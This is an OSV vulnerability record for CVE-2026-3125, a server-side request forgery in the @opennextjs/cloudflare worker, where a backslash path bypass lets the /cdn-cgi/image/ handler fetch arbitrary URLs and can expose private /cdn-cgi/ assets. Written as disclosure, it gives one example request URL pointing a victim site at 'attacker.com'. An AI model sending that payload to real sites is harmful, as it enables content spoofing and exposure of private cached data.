CVE-2026-3125
- Source
- https://cve.org/CVERecord?id=CVE-2026-3125
- Import Source
- https://storage.googleapis.com/cve-osv-conversion/osv-output/CVE-2026-3125.json
- JSON Data
- https://api.osv.dev/v1/vulns/CVE-2026-3125
- Aliases
- Published
- 2026-03-04T18:14:31Z
- Modified
- 2026-08-12T03:51:10Z
- Severity
-
- 7.7 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:H/SI:N/SA:N CVSS Calculator
- Summary
- SSRF vulnerability in opennextjs-cloudflare via /cdn-cgi/ path normalization bypass
- Details
-
A Server-Side Request Forgery (SSRF) vulnerability was identified in the @opennextjs/cloudflare package, resulting from a path normalization bypass in the /cdn-cgi/image/ handler.The @opennextjs/cloudflare worker template includes a /cdn-cgi/image/ handler intended for development use only. In production, Cloudflare's edge intercepts /cdn-cgi/image/ requests before they reach the Worker. However, by substituting a backslash for a forward slash (/cdn-cgi\image/ instead of /cdn-cgi/image/), an attacker can bypass edge interception and have the request reach the Worker directly. The JavaScript URL class then normalizes the backslash to a forward slash, causing the request to match the handler and trigger an unvalidated fetch of arbitrary remote URLs.
For example:
https://victim-site.com/cdn-cgi\image/aaaa/https://attacker.com
In this example, attacker-controlled content from attacker.com is served through the victim site's domain (victim-site.com), violating the same-origin policy and potentially misleading users or other services.
Note: This bypass only works via HTTP clients that preserve backslashes in paths (e.g., curl --path-as-is). Browsers normalize backslashes to forward slashes before sending requests.
Additionally, Cloudflare Workers with Assets and Cloudflare Pages suffer from a similar vulnerability. Assets stored under /cdn-cgi/ paths are not publicly accessible under normal conditions. However, using the same backslash bypass (/cdn-cgi... instead of /cdn-cgi/...), these assets become publicly accessible. This could be used to retrieve private data. For example, Open Next projects store incremental cache data under /cdn-cgi/_next_cache, which could be exposed via this bypass.
- Database specific
{ "cna_assigner": "cloudflare", "cwe_ids": [ "CWE-706", "CWE-918" ], "osv_generated_from": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/3xxx/CVE-2026-3125.json" }- References
-
- https://www.cve.org/cverecord?id=CVE-2025-6087
- https://www.npmjs.com/package/@opennextjs/cloudflare
- https://www.npmjs.com/package/@opennextjs/cloudflare/v/1.17.1
- https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/3xxx/CVE-2026-3125.json
- https://github.com/advisories/GHSA-rvpw-p7vw-wj3m
- https://nvd.nist.gov/vuln/detail/CVE-2026-3125
- https://github.com/opennextjs/opennextjs-cloudflare/pull/1147
- https://github.com/opennextjs/opennextjs-cloudflare
Affected packages
Git / github.com/opennextjs/opennextjs-cloudflare
Affected ranges
- Type
- GIT
- Repo
- https://github.com/opennextjs/opennextjs-cloudflare
- Events
-
Introduced0 Unknown introduced commit / All previous commits are affectedFixed
- Database specific
-
Show details
{ "cpe": "cpe:2.3:a:opennextjs:opennext_for_cloudflare:*:*:*:*:*:node.js:*:*", "extracted_events": [ { "introduced": "0" }, { "fixed": "1.17.1" } ], "source": [ "AFFECTED_FIELD", "CPE_RANGE" ] }